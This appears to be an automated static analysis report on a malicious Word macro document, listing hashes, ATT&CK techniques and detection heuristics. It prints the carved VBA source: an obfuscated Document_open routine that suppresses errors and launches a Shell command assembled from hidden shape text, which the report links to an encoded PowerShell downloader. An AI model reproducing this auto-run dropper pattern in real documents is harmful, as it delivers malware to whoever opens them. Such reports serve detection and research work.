Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eee7617113d4a7d6…

MALICIOUS

Office (OLE)

80.4 KB Created: 2018-11-08 23:11:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 93aa224c568442847e78f0c560443197 SHA-1: d3baf104ed970bcf3de81f568b542ff6c19e02e9 SHA-256: eee7617113d4a7d6efd12c71027618c908f47aa4e4e96b19f4c1805c166fe876
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains a VBA macro that executes a PowerShell command. This PowerShell command decodes a Base64 string, decompresses it, and then executes it. The decoded payload likely downloads and executes a second-stage payload, as indicated by the use of `Shell()` and the complex PowerShell execution chain.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6923159-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6923159-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       TimeValue (PuFQC + TvCzf + rszzQ + NuoUwM) + kLIjz + TMKMBr + CuOpc + jTwJu + kSpYk + zszSNL + DDLMj + wItqTf
    jvjzIh = Shell("" + qCRWji + LIJOYz + Shapes(iYbYoX + YSUPODt + 1 + YiSRtjCl + DiSzRuzA).TextFrame.TextRange.Text + nhSLkwO + JIPzZ, 37942782 - 37942782)
       FormatNumber NIkoZ + NioCFU / VPCAi + qPHju + odQkn + tzAjqP - (CAUoW + ttLnuF)
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 999 bytes
SHA-256: 8ebe6b0f545f37572fbd184cf4e0ee73019e82705796ce31e1f903e7308f352d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FcjqFZRjD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatNumber (TvwFwf + ZwPYMZ + CvAIW + jbvwoF) + (ikiTL + pBuMBM)
   FormatNumber cjzlBN + Odina + Dzakj + dYPUG * dwDrc + slDVL
   TimeValue Lwpoah + GPuJS * (mcVTM + sUXQS + BIuoM + ncDVFo / pnhLNB + YViQQk + zEMoh + QZYiR)
   TimeValue (PuFQC + TvCzf + rszzQ + NuoUwM) + kLIjz + TMKMBr + CuOpc + jTwJu + kSpYk + zszSNL + DDLMj + wItqTf
jvjzIh = Shell("" + qCRWji + LIJOYz + Shapes(iYbYoX + YSUPODt + 1 + YiSRtjCl + DiSzRuzA).TextFrame.TextRange.Text + nhSLkwO + JIPzZ, 37942782 - 37942782)
   FormatNumber NIkoZ + NioCFU / VPCAi + qPHju + odQkn + tzAjqP - (CAUoW + ttLnuF)
   FormatNumber (YJBFb + TkKztA + MWBoY + vjAWak + BbcpWf + OUozb)
End Sub